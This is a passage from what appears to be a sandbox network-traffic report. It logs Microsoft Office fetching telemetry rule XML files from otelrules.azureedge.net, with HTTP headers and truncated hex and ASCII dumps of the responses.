2024-11-11 13:33:10 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:10 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:10 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 31c5e564-101e-008d-76d5-3392e5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133310Z-174f7845968j9dchhC1EWRfe7400000004v00000000096yc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:10 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:10 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:10 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 5ac3f5ac-801e-008f-14d5-332c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133310Z-174f7845968glpgnhC1EWR7uec000000054000000000b1eb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:10 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:10 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:10 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:10 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 3ca8c4c6-201e-0096-0fd5-33ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133310Z-174f7845968cdxdrhC1EWRg0en00000004z0000000008ryz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:10 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49857	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:11 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:11 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:11 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 55c09f61-d01e-0082-16d5-33e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133311Z-174f784596886s2bhC1EWR743w000000050000000000bq6k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:11 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:11 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:11 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:11 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: 1c14ddc0-c01e-0079-51d5-33e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133311Z-174f7845968glpgnhC1EWR7uec000000053g00000000cb0n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:11 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:11 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:11 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:11 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 904e9adf-b01e-003e-62d5-338e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133311Z-174f7845968vwdr7hC1EWRsh3w00000004zg000000006g6c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:11 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:11 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:11 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:11 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: ca9795ec-a01e-006f-27d5-3313cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133311Z-174f78459685726chC1EWRsnbg000000050000000000ce29 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:11 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:11 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:11 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:11 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 2f59fc8c-901e-002a-3cd5-337a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133311Z-174f7845968px8v7hC1EWR08ng000000057000000000at1b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:11 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:11 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:11 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:11 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: a04d8451-d01e-00ad-12d5-33e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133311Z-174f7845968px8v7hC1EWR08ng000000054000000000fzfd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:11 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:11 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:11 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:11 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: ab1019be-501e-0035-43d5-33c923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133311Z-174f784596886s2bhC1EWR743w00000004z000000000dfy5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:11 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:11 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 13:33:12 UTC	494	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 13:33:11 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 41743bdd-f01e-003c-7cd5-338cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T133311Z-174f7845968pf68xhC1EWRr4h800000005ag000000003vfn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 13:33:12 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 13:33:11 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
